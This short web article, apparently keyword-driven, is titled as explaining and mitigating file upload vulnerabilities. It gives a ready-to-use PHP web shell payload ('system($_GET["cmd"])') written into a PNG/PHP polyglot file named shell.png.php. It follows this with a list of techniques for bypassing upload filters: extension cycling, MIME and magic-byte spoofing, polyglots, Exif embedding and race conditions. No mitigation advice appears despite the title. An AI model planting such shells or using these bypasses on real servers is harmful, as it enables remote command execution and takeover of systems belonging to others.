Fileupload Gunner Project Hot [hot] -

File Upload: A Critical Vulnerability - Understanding and Mitigating the Risks

Example “Hot” Payload (PHP + PNG Polyglot)

echo 'PNG IHDR' > shell.png.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.png.php

• Extension Polymorphism: Cycling through known executable extensions (file.php, file.phtml, file.php5, file.Php, file.php.jpg – double extension).
• MIME Type Manipulation: Changing Content-Type from application/x-php to image/jpeg while keeping malicious content.
• Magic Byte Spoofing: Prefacing a PHP payload with \xFF\xD8\xFF\xE0 (JPEG magic bytes) and the string <?php system($_GET['cmd']); ?> to fool getimagesize() or finfo_file().
• Content Evasion: Using polyglot files (e.g., a GIF that is also a valid PHP script) or embedding payloads in metadata (e.g., Exif data of a JPEG).
• Race Condition Attacks: Uploading a malicious file and requesting it before the system deletes or renames it (e.g., in temporary processing directories).

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